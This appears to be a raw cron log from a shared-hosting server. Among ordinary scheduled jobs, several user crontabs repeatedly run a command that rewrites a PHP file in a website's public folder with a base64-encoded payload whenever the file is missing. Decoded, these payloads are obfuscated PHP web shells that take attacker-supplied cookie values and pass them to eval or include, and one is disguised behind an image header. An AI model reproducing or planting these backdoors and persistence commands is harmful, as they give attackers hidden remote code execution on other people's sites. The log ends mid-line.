Mar  1 23:22:01 medusa CROND[27010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:22:01 medusa CROND[27012]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:22:01 medusa CROND[27013]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:22:01 medusa CROND[27019]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:22:01 medusa CROND[27022]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:23:01 medusa CROND[32620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:23:01 medusa CROND[32651]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:23:01 medusa CROND[32652]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:23:01 medusa CROND[32654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:23:01 medusa CROND[32656]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:23:01 medusa CROND[32658]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:23:01 medusa CROND[32659]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:23:01 medusa CROND[32657]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:23:01 medusa CROND[32663]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:23:01 medusa CROND[32664]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:23:01 medusa CROND[32665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:23:01 medusa CROND[32667]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:24:02 medusa CROND[6676]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:24:02 medusa CROND[6677]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:24:02 medusa CROND[6678]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:24:02 medusa CROND[6679]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:24:02 medusa CROND[6685]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:24:02 medusa CROND[6689]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:24:02 medusa CROND[6690]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:24:02 medusa CROND[6687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:24:02 medusa CROND[6692]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:24:02 medusa CROND[6686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:24:02 medusa CROND[6684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:24:02 medusa CROND[6712]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0g